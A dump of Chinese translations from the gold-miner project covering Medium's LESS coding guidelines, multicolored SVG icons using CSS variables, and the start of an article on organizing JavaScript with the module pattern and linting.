            #### Weekly UI 作为选做作业 WeeklyUI 比我们想象的还要流行的多。大家都非常乐意接受批评和反馈。我们还发现用它可以更容易和我们的学生辨认通常的视觉设计。 ![](https://cdn-images-1.medium.com/max/800/1*cL9G0hLCkfzvKMo1z0p5bA.gif) #### 我们还在成长 如果你有任何的建议、想法或者批评,请联系我或者 Nicole,或者填写这份 [匿名反馈表单](http://goo.gl/forms/qz7rflmf5N). ### 最终的想法 ![](https://cdn-images-1.medium.com/max/2000/1*tgU7bw1Befb6co1O5MkUqQ.jpeg) ================================================ FILE: TODO/less-coding-guidelines.md ================================================ >* 原文链接 : [LESS Coding Guidelines](https://gist.github.com/fat/a47b882eb5f84293c4ed) * 原文作者 : [fat](https://gist.github.com/fat) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Gran](https://github.com/Graning) * 校对者: [hpf](https://github.com/hpoenixf) ,[MAYDAY1993](https://github.com/MAYDAY1993) # Medium 内部使用 css/less 的代码风格指南 # Medium 内部使用 css/less 的代码风格指南 Medium 对代码风格使用了 [LESS](http://lesscss.org/) 的一种严格子集。这个子集包含变量和混合指令,但是没有别的(嵌套等等)。 Medium 的常规命名改编自 SUIT CSS 框架中正在进行的工作。这就是说,它依赖于 _结构化类名_ 和 _有意义的连字符_ (即不使用连字符只为了把单词分开)。这用来解决目前遇到的将 CSS 应用到 DOM 上的限制和在类之间更好的交流。 **目录** * [JavaScript](#javascript) * [Utilities(工具)](#utilities) * [u-utilityName](#u-utilityName) * [Components(组件)](#components) * [componentName](#componentName) * [componentName--modifierName](#componentName--modifierName) * [componentName-descendantName](#componentName-descendantName) * [componentName.is-stateOfComponent](#is-stateOfComponent) * [Variables(变量)](#variables) * [colors](#colors) * [z-index](#zindex) * [font-weight](#fontweight) * [line-height](#lineheight) * [letter-spacing](#letterspacing) * [Polyfills](#polyfills) * [Formatting(格式)](#formatting) * [Spacing](#spacing) * [Quotes](#quotes) * [Performance(性能)](#performance) * [Specificity](#specificity) ## JavaScript 语法: `js-` JavaScript 具体类减少了更改构件的结构或主题不经意间影响到任何需要 JavaScript 特性以及复杂功能的风险。没必要在所有情况下使用它们,只是把它们当做你工具带的工具。如果你要创建一个类,而不打算使用样式,而是只在 JavaScript 中作为一个选择器,你可能应该加上 `js-` 前缀。在具体的实践中它看起来这样: ```html ``` **同样,JavaScript 的具体的类不应该在任何情况下设置样式。** ## Utilities 工具 Medium 的工具类采用低层次的结构和位置特征。工具们可直接应用于任何元素;可多工具同时应用;跟组件类一起被使用。 Utilities 存在是因为某些 CSS 属性和模式经常使用。例如: floats, containing floats, vertical alignment, text truncation .依靠工具可以帮助减少重复和提供一致的实现,它们同时还充当了功能性混合指令的替代功能(即非填充工具)。 ```html

            {$text}

            ``` ### u-utilityName 语法: `u-` Utilities 必须使用驼峰命名, 前缀带有 `u` 的命名空间。 以下是对如何不同的工具可用于组件内建立一个简单的结构的例子。 ```html

            …

            ``` ## components 组件 语法: `[--modifierName|-descendantName]` 当读取和写入 HTML 和 CSS 时组件驱动的开发有几个好处: * 它有助于在不同的类之间区分根组件,子元素和修改。 * 它保持低的选择器特异性。 * 它有助于从文档语义去耦呈现语义。 你可以将组件当做该封装的特定语义,样式和行为的自定义元素。 ### componentName 组件名必须使用驼峰命名法。 ```css .myComponent { /* … */ } ``` ```html
            …
            ``` ### componentName--modifierName 组件修饰器是一种可以在某种形式改变基础组件的样式的类。修饰器的名字必须为驼峰式并通过两个连字符与组件的名字分开。类应该包括在 _除了_ 基础构件类的 HTML 。 ```css /* Core button */ .btn { /* … */ } /* Default button style */ .btn--default { /* … */ } ``` ```html ``` ### componentName-descendantName 子组件是附加到一个组件的子节点的类。它负责代表特定组件直接应用呈现给子代。子代命名也要使用驼峰式命名。 ```html
            {$alt} …
            …
            ``` ### componentName.is-stateOfComponent 使用 `is-stateName` 对部件进行基于状态的修改。状态名命名也要使用驼峰式。 **不要直接设置这些类的样式;它们应该被常用作相邻的类。** JS 可以添加或删除这些类。这意味着相同的状态名称可以在上下文中多次使用,但每一组件必须定义它自己的样式的状态(因为它们被限定在组件)。 ```css .tweet { /* … */ } .tweet.is-expanded { /* … */ } ``` ```html
            …
            ``` ## Variables 变量 语法: `-[--componentName]` 在我们的 CSS 中变量名也有严格的结构。此语法提供属性,使用和组件之间的强关联。 下面的变量定义是一个颜色属性,其值为 grayLight ,与 highlightMenu 组件一起使用。 ```CSS @color-grayLight--highlightMenu: rgb(51, 51, 50); ``` ### Colors 在实现特性的样式时,你只应使用由 colors.less 提供的颜色变量。 当添加一个颜色名称到 colors.less ,使用 RGB 和 RGBA 颜色单位优先于十六进制, named , HSL 和 HSLA 值。 **正确的做法:** ```css rgb(50, 50, 50); rgba(50, 50, 50, 0.2); ``` **错误的做法:** ```css #FFF; #FFFFFF; white; hsl(120, 100%, 50%); hsla(120, 100%, 50%, 1); ``` ### z-index 范围 请使用 Z-index.less 定义 z-index 的范围。 提供的 `@zIndex-1 - @zIndex-9` 范围的值完全够用。 ### Font Weight 随着网页字体的额外支持, `font-weight` 起着比从前重要的作用。不同的字体粗细将专门渲染重建。不像曾经的 `bold` 只是通过一个算法来增粗字体。明显的使用 `font-weight` 的数值,以达到字体的最佳展示。下面是一个指导: 应尽量避免原始定义字体粗细。相反,使用合适的字体混合指令: `.font-sansI7, .font-sansN7, 等等.` 后缀定义粗细和样式: ```CSS N = normal I = italic 4 = normal font-weight 7 = bold font-weight ``` 请参考 type.less 类型的大小,字母间距和行高。原尺寸,空格和线的高度应避免出现在 type.less 之外。 ```CSS ex: @fontSize-micro @fontSize-smallest @fontSize-smaller @fontSize-small @fontSize-base @fontSize-large @fontSize-larger @fontSize-largest @fontSize-jumbo ``` 参见 [Mozilla Developer Network — font-weight](https://developer.mozilla.org/en/CSS/font-weight) 进一步阅读。 ### Line Height Type.less 还提供了一个行高比例。这应该用于文本块。 ```CSS ex: @lineHeight-tightest @lineHeight-tighter @lineHeight-tight @lineHeight-baseSans @lineHeight-base @lineHeight-loose @lineHeight-looser ``` 另外,使用行高垂直居中单行文本的时候,一定要将行高设置为容器的高度减 1 。 ```CSS .btn { height: 50px; line-height: 49px; } ``` ### Letter spacing 字母间隔同样也应该跟随 var 进行比例控制。 ```CSS @letterSpacing-tightest @letterSpacing-tighter @letterSpacing-tight @letterSpacing-normal @letterSpacing-loose @letterSpacing-looser ```` ## Polyfills 混合指令语法: `m-` 在 Medium 我们只用混合指令生成浏览前缀属性 polyfills 。 边框半径混合指令的例子: ```css .m-borderRadius(@radius) { -webkit-border-radius: @radius; -moz-border-radius: @radius; border-radius: @radius; } ``` ## Formatting 以下是一些高水平的网页格式样式规则。 ### Spacing CSS 规则在新的一行应该用逗号分开: **正确的写法:** ```css .content, .content-edit { … } ``` **错误的写法:** ```css .content, .content-edit { … } ``` CSS 块应由一个新行分开,而不是两个并且不为 0 。 **正确的写法:** ```css .content { … } .content-edit { … } ``` **错误的写法:** ```css .content { … } .content-edit { … } ``` ### Quotes 引号在 CSS 和 LESS 可选。我们使用双引号,因为它视觉上更加简洁,而且该字符串不是一个选择符或样式属性。 **正确的写法:** ```css background-image: url("/img/you.jpg"); font-family: "Helvetica Neue Light", "Helvetica Neue", Helvetica, Arial; ``` **错误的写法:** ```css background-image: url(/img/you.jpg); font-family: Helvetica Neue Light, Helvetica Neue, Helvetica, Arial; ``` ## Performance 性能 ### Specificity 在名称(层叠样式表)层叠会在应用样式上增加不必要的性能支出。看看下面的例子: ```css ul.user-list li span a:hover { color: red; } ``` 样式渲染在布局处理过程中解决。选择器从右到左进行,当它不匹配时退出。因此,本例中的每个 a 标签都会被检查,看它是否属于 span 和 list 。你可以想象,这需要大量的 DOM 遍历操作,对于大型文档来说的话可能导致布局时间增多。进一步阅读: https://developers.google.com/speed/docs/best-practices/rendering#UseEfficientCSSSelectors 如果我们想让 .user-list 中所有的 a 元素悬停时变红,我们可以简化这种样式: ```css .user-list > a:hover { color: red; } ``` 如果我们仅仅想给 `.user-list` 中某些具体的 a 元素设置特别的样式,我们可以给他们设定一个特定的类。 ```css .user-list > .link-primary:hover { color: red; } ``` ================================================ FILE: TODO/lets-make-your-svg-symbol-icons-multi-colored-with-css-variables.md ================================================ > * 原文地址:[Let’s make multi-colored icons with SVG symbols and CSS variables](https://medium.freecodecamp.org/lets-make-your-svg-symbol-icons-multi-colored-with-css-variables-cddd1769fca4) > * 原文作者:[Sarah Dayan](https://medium.freecodecamp.org/lets-make-your-svg-symbol-icons-multi-colored-with-css-variables-cddd1769fca4) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/lets-make-your-svg-symbol-icons-multi-colored-with-css-variables.md](https://github.com/xitu/gold-miner/blob/master/TODO/lets-make-your-svg-symbol-icons-multi-colored-with-css-variables.md) > * 译者:[PTHFLY](https://github.com/pthtc) > * 校对者:[cherry](https://github.com/sunshine940326)、[Raoul1996](https://github.com/Raoul1996) # 使用 SVG 符号和 CSS 变量实现多彩图标 ![](https://cdn-images-1.medium.com/max/1000/1*WO5mgu0bcFNdt7R6JH6mhQ.png) 使用图片和 CSS 精灵制作 web 图标的日子一去不复返了。随着 web 字体的爆发,图标字体已经成为在你的 web 项目中显示图标的第一解决方案。 字体是矢量,所以你无须担心分辨率的问题。他们和文本一样因为拥有 CSS 属性,那就意味着,你完全可以应用 `size` 、 `color` 和 `style` 。你可以添加转换、特效和装饰,比如旋转、下划线或者阴影。 ![](https://cdn-images-1.medium.com/max/800/0*3CipXJBmc9h8Q-68.png) 怪不得类似 Font Awesome 这类项目仅仅在 npm 至今已经被下载了[超过 1500 万次](http://npm-stats.com/~packages/font-awesome)。 **可是图标字体并不完美**, 这就是为什么越来越多的人使用行内 SVG 。CSS Tricks 写了[图标字体劣于原生 SVG 元素的地方](https://css-tricks.com/icon-fonts-vs-svg):锐利度、定位或者是因为跨域加载、特定浏览器错误和广告屏蔽器等原因导致的失败。现在你可以规避绝大多数这些问题了,总体上使用图标字体是一个安全的选择。 然而,还是有一件事情对于图标字体来说是绝对不可能的:**多色支持**。只有 SVG 可以做到。 **摘要** _:这篇博文深入阐述怎么做和为什么。如果你想理解整个思维过程,推荐阅读。否则你可以直接在 [CodePen](https://codepen.io/sarahdayan/pen/GOzaEQ) 看最终代码。_ ### 设置 SVG 标志图标 行内 SVG 的问题是,它会非常冗长。你肯定不想每次使用同一个图标的时候,还需要复制/粘贴所有坐标。这将会非常重复,很难阅读,更难维护。 通过 SVG 符号图标,你只需拥有一个 SVG 元素,然后在每个需要的地方引用就好了。 先添加行内 SVG ,隐藏它之后,再用 `` 包裹它,用 `id` 对其进行识别。 ``` my-first-icon ``` _整个 SVG 标记被一次性包裹并且在 HTML 中被隐藏。_ 然后,所有你要做的是用一个 `` 标签将图标实例化。 ``` ``` _这将会显示一个初始 SVG 图标的副本。_ ![](https://cdn-images-1.medium.com/max/800/0*QRBjEA0KVeKcjGBy.png) **就是这样了!**看起来很棒,是吧? 你可能注意到了这个有趣的 `xlink:href` 属性:这是你的实例与初始 SVG 之间的链接。 需要提到的是 `xlink:href` 是一个弃用的 SVG 属性。尽管大多数浏览器仍然支持,**你应该用** `**href**` 替代。现在的问题是,一些浏览器比如 Safari 不支持使用 `href` 进行 SVG 资源引用,因此你仍然需要提供 `xlink:href` 选项。 安全起见,两个都用吧。 ### 添加一些颜色 不像是字体, `color` 对于 SVG 图标没有任何作用:你必须使用 `fill` 属性来定义一个颜色。这意味着他们将不会像图标字体一样继承父文本颜色,但是你仍然可以在 CSS 中定义它们的样式。 ``` // HTML // CSS .icon { width: 100px; height: 100px; fill: red; } ``` 在这里,你可以使用不同的填充颜色创建同一个图标的不同实例。 ``` // HTML // CSS .icon { width: 100px; height: 100px; } .icon-red { fill: red; } .icon-blue { fill: blue; } ``` 这样就可以生效了,但是不**完全**符合我们的预期。目前为止,我们所有做的事情可以使用一个普通的图标字体来实现。我们想要的是在图标的位置可以有不同的颜色。我们想要向每个**路径**上填充不同颜色,而不需要改变其他实例,我们想要能够在必要的时候重写它。 首先,你可能会受到依赖于特性的诱惑。 ``` // HTML my-first-icon // CSS .icon-colors .path1 { fill: red; } .icon-colors .path2 { fill: green; } .icon-colors .path3 { fill: blue; } ``` **不起作用。** 我们尝试设置 `.path1` 、 `.path2` 和 `.path3` 的样式,仿佛他们被嵌套在 `.icon-colors` 里,但是严格来说,**并非如此**。 `` 标签不是一个会被你的 SVG 定义替代的**占位符**。这是一个**引用**将它所指向内容复制为 [**shadow DOM**](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Shadow_DOM) 😱。 **那接下来我们该怎么办?**当子项不在 DOM 中时,我们如何才能用一个区域性的方式影响子项? ### CSS 变量拯救世界 在 CSS 中,[一些属性](https://developer.mozilla.org/en-US/docs/Web/CSS/inheritance)从父元素继承给子元素。如果你将一个文本颜色分配给 `body` ,这一页中所有文本将会继承那个颜色直到被重写。父元素没有意识到子元素,但是**可继承**的样式仍然继续传播。 在我们之前的例子里,我们继承了**填充**属性。回头看,你会看到我们声明**填充**颜色的类被附加在了**实例**上,而不是定义上。这就是我们能够为同一定义的每个不同实体赋予不同颜色的原因。 现在有个问题:我们想传递**不同**颜色给原始 SVG 的**不同**路径,但是只能从一个 `fill` 属性里继承。 这就需要 **CSS 变量**了。 就像任何其它属性一样, CSS 变量在规则集里被声明。你可以用任意命名,分配任何有效的 CSS 值。然后,你为它自己或者其它子属性,像一个值一样声明它,并且**这将被继承**。 ``` .parent { --custom-property: red; color: var(--custom-property); } ``` _所有_ `.parent` _的子项都有红色文本。_ ``` .parent { --custom-property: red; } .child { color: var(--custom-property); } ``` _所有嵌套在_ `.parent` _标签里的_ `.child` _都有红色文本。_ 现在,让我们把这个概念应用到 SVG 符号里去。我们将在 SVG 定义的每个部分使用 `fill` 属性,并且设置成不同的 CSS 变量。然后,我们将给它们分配不同的颜色。 ``` // HTML my-first-icon // CSS .icon-colors { --color-1: #c13127; --color-2: #ef5b49; --color-3: #cacaea; } ``` 然后… **生效了** 🎉! ![](https://cdn-images-1.medium.com/max/800/0*b9uBTmdvSJs7fd1D.png) 现在开始,为了用不同的颜色方案创建实例,我们所需要做的是创建一个新类。 ``` // HTML // CSS .icon-colors-alt { --color-1: brown; --color-2: yellow; --color-3: pink; } ``` 如果你仍然想有单色图标,**你不必在每个 CSS 变量中重复同样的颜色**。相反,你可以声明一个单一 `fill` 规则:因为如果 CSS 变量没有被定义,它将会回到你的 `fill` 声明。 ``` .icon-monochrome { fill: grey; } ``` _你的 `fill` 声明将会生效,因为初始 SVG 的 `fill` 属性被未设置的 CSS 变量值定义。_ ### 怎样命名我的 CSS 变量? 当提到在 CSS 中命名,通常有两条途径:**描述的**或者**语义的**。描述的意思是告诉一个颜色**是什么**:如果你存储了 `#ff0000` 你可以叫它 `--red` 。语义的意思是告诉颜色**它将会被如何应用**:如果你使用 `#ff0000` 来给一个咖啡杯把手赋予颜色,你可以叫它 `--cup-handle-color` 。 描述的命名也许是你的本能。看起来更干脆,因为`#ff0000` 除了咖啡杯把手还有更多地方可以被使用。一个 `--red` CSS 变量可被复用于其他需要变成红色的图标路径。毕竟,这是实用主义在 CSS 中的工作方式。并且是[一个良好的系统](https://frontstuff.io/in-defense-of-utility-first-css)。 问题是,在我们的案例里,**我们不能把零散的类应用于我们想设置样式的标签**。实用主义原则不能应用,因为我们对于每个图标有单独的引用,我们不得不通过类的变化来设置样式。 使用语义类命名,例如 `--cup-handle-color` ,对于这个情况更有用。当你想改变图标一部分的颜色时,你立即知道这是什么以及需要重写什么。无论你分配什么颜色,类命名将会一直关联。 ### 默认还是不要默认,这是个问题 将你的图标的多色版本设置成默认状态是很有诱惑力的选择。这样,你无需设置额外样式,只需要在必要的时候可以添加你自己的类。 有两个方法可以实现:**:root** 和 **var() default** 。 ### :root 在 `:root` 选择器中你可以定义所有你的 CSS 变量。这将会把它们统一放在一个位置,允许你『分享』相似的颜色。 `:root` 拥有最低的优先度,因此可以很容易地被重写。 ``` :root { --color-1: red; --color-2: green; --color-3: blue; --color-4: var(--color-1); } .icon-colors-alt { --color-1: brown; --color-2: yellow; --color-3: pink; --color-4: orange; } ``` 然而,**这个方法有一个主要缺点**。首先,将颜色定义与各自的图标分离可能会有些让人疑惑。当你决定重写他们,你必须在类与 `:root` 选择器之间来回操作。但是更重要的是,**它不允许你去关联你的 CSS 变量**,因此让你不能复用同一个名字。 大多数时候,当一个图标只用一种颜色,我用 `--fill-color` 名称。简单,易懂,对于所有仅需要一种颜色的图标非常有意义。如果我必须在 `:root` 声明中声明所有变量,我就不会有几个 `--fill-color`。我将会被迫定义 `--fill-color-1` , `--fill-color-2` 或者使用类似 `--star-fill-color` , `--cup-fill-color` 的命名空间。 ### var() 默认 你可以用 `var()` 功能来把一个 CSS 变量分配给一个属性,并且它的第二个参数可以设置为某个默认值。 ``` my-first-icon ``` 在你定义完成 `--color-1` , `--color-2` 和 `--color-3` 之前,图标将会使用你为每个 `` 设置的默认值。这解决了当我们使用 `:root` 时的全局关联问题,但是请小心:**你现在有一个默认值,并且它将会生效**。结果是,你再也不能使用单一的 `fill` 声明来定义单色图标了。你将不得不一个接一个地给每个使用于这个图标的 CSS 变量分配颜色。 设置默认值会很有用,但是这是一个折中方案。我建议你不要形成习惯,只在对给定项目有帮助的时候做这件事情。 ### How browser-friendly is all that? [CSS 变量与大多数现代浏览器兼容](https://caniuse.com/#feat=css-variables),但是就像你想的那样, Internet Explorer **完全**不兼容。因为微软要支持 Edge 终止了 IE11 开发, IE 以后也没有机会赶上时代了。 现在,仅仅是因为一个功能不被某个浏览器(而你必须适配)兼容,这不意味着你必须全盘放弃它。在这种情况下,考虑下**优雅降级**:给现代浏览器提供多彩图标,给落后浏览器提供备份的填充颜色。 你想要做的是设置一个仅在 CSS 变量不被支持时触发的声明。这可以通过设置备份颜色的 `fill` 属性实现:如果 CSS 变量不被支持,它甚至不会被纳入考虑。如果它们不能被支持,你的 `fill` 声明将会生效。 如果你使用 Sass 的话,这个可以被抽象为一个 `@mixin` 。 ``` @mixin icon-colors($fallback: black) { fill: $fallback; @content; } ``` 现在,你可以任意定义颜色方案而无需考虑浏览器兼容问题了。 ``` .cup { @include icon-colors() { --cup-color: red; --smoke-color: grey; }; } .cup-alt { @include icon-colors(green) { --cup-color: green; --smoke-color: grey; }; } ``` _在 mixin 中通过 `@content` 传递 CSS 变量也是一个可选项。如果你在外面做这件事,被编译的 CSS 将会变得一样。但是它有助于被打包在一起:你可以在你编辑器中折叠片段然后用眼睛分辨在一起的声明。_ 在不同的浏览器中查看这个 [pen](https://codepen.io/sarahdayan/pen/GOzaEQ/) 。在最新版本的 Firefox , Chrome 和 Safari 中,最后两只杯子各自拥有红色杯身灰色烟气和蓝色杯身灰色烟气。在 IE 和 版本号小于 15 的 Edge 中,第三个杯子的杯身与烟气全部都是红色,第四个则全部是蓝色! ✨ 如果你想了解更多关于 SVG 符号图标(或者一般的 SVG ),我**强烈**建议你阅读 [ Sara Soueidan 写的一切东西](https://www.sarasoueidan.com/blog)。如果你有任何关于 CSS 符号图标的问题,不要犹豫,尽管在 [Twitter](https://twitter.com/frontstuff_io) 上联系我。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/leveling-up-your-javascript.md ================================================ * 原文链接 : [Leveling Up Your JavaScript](http://developer.telerik.com/featured/leveling-up-your-javascript/) * 原文作者 : [Raymond Camden](http://developer.telerik.com/author/rcamden/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Hikerpig](https://github.com/hikerpig) * 校对者: [Nark Qi](https://github.com/narcotics726), [JasinYip](https://github.com/JasinYip) # JavaScript 姿势提升简略 JavaScript 是一门入门容易,但是相当难以精通的语言。可现今一些文章总假设你已经精通了它。 我从 1995 年 JavaScript 还以 LiveScript 名字出现的时候就开始用它了,但后来逐渐从前端开发撤回服务器的安全怀抱中,直到五年前才重拾。很高兴看到如今的浏览器更加的强大和易于调试。但 JavaScript 已经演变得越来越复杂且难以精通了。不过最近我终于得出结论,我并不需要_精通_ Javascript,只需要比以前更进一步就好。能成为一个"好"的 JavaScript 开发者我便觉欣慰。 以下是我发现的一些_实用_的 JavaScript 小技巧: [组织代码](#组织代码); [代码检验](#代码检验(Linting)); [测试](#测试); 以及 [使用开发者工具](#浏览器开发者工具)。里面有几条对有经验的 JavaScript 开发者来说可能很显而易见,但是语言初学者很容易养成坏习惯。这些技巧提高了我的技术水平,同时也为我的用户创造了更好的体验。_这_难道不是我们最大的目标么。 > 你可在此处[下载](http://developer.telerik.com/wp-content/uploads/2016/01/code.zip)本文的样例代码。 ## 组织代码 JavaScript 初学者总是不可避免地在他们的 HTML 页面里写上一大坨代码。开始的时候都是很简单的,例如使用 jQuery 给一个表单输入自动加上焦点,然后要加上表单验证,然后又要加上一些市场上走俏的模态框组件——就是那些阻止用户往下阅读内容好让他们在 Facebook 上给网站点赞的东西。经过这些七七八八的功能迭代后你的一个文件里 HTML 标签和 JavaScript 都有了几百行。 别再继续这种乱七八糟的方式了。这个技巧太简单了我都不好意思单独把它列出来,但大家还_真的_很难拒绝这种把代码一坨扔上页面的偷懒做法。还请各位务必避之如瘟疫。养成好习惯:在开始的时候就先创建好一个空的 JavaScript 文件,然后用 script 标签引入它。这样一来,之后的交互与其他客户端功能代码就可以直接填入先前准备好的空文件里去了。 把 JavaScript 从 HTML 页面中剥离以后(干净多了是不是?),下一个问题就是关于这些代码的组织形式了。这几百行 JavaScript 也许功能没啥问题,但是几个月后,一旦你开始想调试或是改点东西,你可能特么找不到某个函数在哪了。 若仅仅把代码从 HTML 中剥离到一个单独文件中是不够的,那还能怎么办呢? ### 框架! 显然解决方案是框架。把所有东西用 AngularJS,或 Ember,或 React 或其他几百个框架中某一个写一遍。哼哧哼哧地把整个网站重写为一个单页应用,用上 MVC 什么的。 或者根本不需要。当然了,别误会我,在编写应用的时候我喜欢用 Angular,但是一个"应用"和一个页面的交互复杂度是有区别的。一个用上 Ajax 技术的产品目录页和 Gmail 也是有区别的 - 起码几十万行代码的区别。那么,如果不走框架这条路的话,还有什么选择呢? ### 设计模式 设计模式是对"这是过去人们解决问题的一个方法"这句话的高级说法。Addy Osmani 写过一本关于此的很好的书,[学习 JavaScript 设计模式](http://addyosmani.com/resources/essentialjsdesignpatterns/book/),可以免费下载阅读。我推荐这本书。但是我对它(以及类似的关于此议题的讨论)有点小看法,因为最后你们写的代码可能变成这样: var c = new Car(); c.startEngine(); c.drive(); c.soNotRealistic(); 对我来说,设计模式在抽象层面上是有意义的,但是在_实际工作中_,没有什么用。在实际项目的环境下,挑选并应用设计模式是件很困难的事情。 #### 模块 在所有我看过的设计模式中,我觉得模块模式是最简单也是最容易应用到现有代码里的。 纵而览之,模块模式就是一系列代码之外加了个包装。你抽取出一系列功能相关的代码扔到一个模块里,决定需要暴露的部分,也可以把一个模块里的代码放到不同的文件里。然后建立一个易于在项目之间共享的代码黑匣。 看看这个简单的例子。此处的语法乍看可能有点奇怪,起码我一开始是这样觉得的。我们先从"包装"部分开始看,然后我再解释其余部分。 ![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0zumg7z7gj20kp05ojru.jpg) 模块模式的包装。 只有我一个人被这些括号搞晕了么?我搞不明白这里是干嘛的,这还是在我懂 JavaScript 的前提下。其实这里如果从里往外看,就清晰很多。 ![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0zuncbxnuj20m805lgly.jpg) 模块的内部只是个普通的函数。 从一个简单的函数开始,在其内部定义该模块的实际需要提供的代码。 ![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zunvmhafj20m805ot94.jpg) 圆括号使得这个函数自动执行。 最后的圆括号会让该函数立即执行。我们在函数里返回了什么,模块就是什么。此时我们这里还是空的。不过此时上图高亮的部分还_不是_合法的 JavaScript。那么,怎样让它变得合法呢? ![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0zuoenvzjj20m805mdg9.jpg) 外边的圆括号开始发功了。 在`function() { }()` 外的圆括号使得此处成为合法JavaScript。你要是不信我,就打开开发者工具的控制台自己输入看看。 这样就是我们一开始看到的。 ![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zuotyvzej20m808ngm7.jpg) 返回值被赋给一个变量。 最后一件事是把返回值赋给一个变量。尽管我自己完全懂得这里,但每次我看见这种代码我都得暂停一秒钟来提醒自己这是什么鬼。说来也不怕羞,我在编辑器里存着这段空模块代码随时快手粘贴。 当我们终于征服了这坨诡异的语法之后,真正的模块模式究竟长啥样呢? var counterModule = (function() { var counter = 0; return { incrementCounter: function () { return counter++; }, resetCounter: function () { console.log("counter value prior to reset: " + counter ); counter = 0; } }; }()); 这段代码创建了一个叫做 `counterModule` 的模块。它有两个函数,`incrementCounter` 和 `resetCounter`。可以这样使用它们: console.log(counterModule.getCounter()); //0 counterModule.incrementCounter(); console.log(counterModule.getCounter()); //1 counterModule.resetCounter(); console.log(counterModule.getCounter()); //0 主要的思想就是把 `counterModule` 里的代码好好地封装起来。封装是计算机科学基础概念,将来 JavaScript 还会提供更简单的封装方法,不过就现在来说,我觉得模块模式已是个超级简单和使用的组织代码方案。 #### 一个实用的模块案例 吐槽完网上看到的样例(例如上面那个 Car 的例子)。我们现在需要编写一个符合实际场景需求的简单代码。限于本文篇幅,我会写得尽量简单,但会贴合你在遇到实际 web 项目时的情况。 假设你的网游公司愣天堂 (任粉莫喷),在用户要创建游戏人物的时候需要一个注册页面。你需要一个可以让用户选择名字的表单。构建名字的规则有点诡异: * 必须以大写字母开头 * 长度不小于2 * 允许空格,但是不能有标点 * 不能有"敏感"词汇 先写下这个超简单的表单。

            Text would be here to describe the rules...

            除了我描述的输入框,表单里还有个提交按钮。然后我加了些有关上面提到的规则的说明,先尽量保持精简。让我们来看看代码。 var badWords = ["kitten","puppy","beer"]; function hasBadWords(s) { for(var i=0; i < badwords.length; i++) { if(s.indexof(badwords[i]) >= 0) return true; } return false; } function validIdentifier(s) { //是否为空 if(s === "") return false; //至少两个字符 if(s.length === 1) return false; //必须以大写字母开头 if(s.charAt(0) !== s.charAt(0).toUpperCase()) return false; //只允许字母和空格 if(/[^a-z ]/i.test(s)) return false; //没有敏感词 if(hasBadWords(s)) return false; return true; } document.getElementById("submitButton").addEventListener("click", function(e) { var identifier = document.getElementById("identifer").value; if(validIdentifier(identifier)) { return true; } else { console.log('false'); e.preventDefault(); return false; } }); 从代码底部开始,你看到我写了点基本的获取页面元素的代码(没错伙计们这里我没有用 jQuery)然后监听 button 上的点击事件。拿到用户输入的用户名字段然后传给验证函数。验证的内容也就是我之前描述的那些。这里代码还没有_太_乱,不过随着之后验证逻辑的增长和页面交互逻辑的增加,代码会越来越难以维护。所以我们把这里重写为模块吧。 首先,创建 game.js 文件并在 index.html 中使用 script 标签引入它。然后把验证逻辑移到一个模块里。 var gameModule = (function() { var badWords = ["kitten","puppy","beer"]; function hasBadWords(s) { for(var i=0; i < badwords.length; i++) { if(s.indexof(badwords[i]) >= 0) return true; } return false; } function validIdentifier(s) { //是否为空 if(s === "") return false; //至少两个字符 if(s.length === 1) return false; //必须以大写字母开头 if(s.charAt(0) !== s.charAt(0).toUpperCase()) return false; //只允许字母和空格 if(/[^a-z ]/i.test(s)) return false; //没有敏感词 if(hasBadWords(s)) return false; return true; } return { valid:validIdentifier } }()); 现在的代码和之前相比没有翻天覆地的差别,只不过是被封装成了一个有一个 `valid` 接口的 `gameModule` 变量。接下来我们来看看 app.js 文件。 document.getElementById("submitButton").addEventListener("click", function(e) { var identifier = document.getElementById("identifer").value; if(gameModule.valid(identifier)) { return true; } else { console.log('false'); e.preventDefault(); return false; } }); 看看我们的 DOM 监听函数里少了多少代码。所有的验证逻辑(两个函数和一个敏感词列表)被安全地移到了模块里后,这里的代码就更好维护了。如果你的编辑器支持,你在此处还能有模块方法名的代码补全。 模块化不是什么高深的东西,但它使我们的代码_更干净_,_更简单_ ,这绝对是件好事。 ## 代码检验(Linting) 简单给初闻者解释下,代码检验表示使用最佳实践和一些避免出错的规则对代码进行检查。很高大上对不对?这么好的东西,我以前却以为只有挑剔过头的开发者才会考虑这个。当然了,我期望自己写出超棒的代码,但我也需要腾出时间玩游戏。就算我的代码够不上某些高大上的完美标准,但它能好好工作我就能满意了。 然而... 记不记得你有多少次重命名了个函数然后提醒自己之后一定会改? 记不记得你有多少次创建了个有两个形参的函数,其实最后只用了一个? 记不记得你有多少次写过多少蠢代码?我说的是那些根本不能工作的,类似我最爱的 `fuction` 和 `functon`。 代码检验就是这时候站出来帮你的!除了我之外大家都知道,代码检验不只有风格的最佳实践,还包含语法和基本的逻辑检验。还有一个让我从"等我有时间一定或做的" 跳到"我会虔诚地遵循它" 的原因,那就是几乎所有现代编辑器都支持此功能。我目前用的编辑器( Sublime, Brackets 和 Visual Studio Code)都支持代码实时检验和反馈。 举个例子,以下是 Visual Studio Code 对我一段很挫的代码的提示。当然了,我是故意写得很挫的。 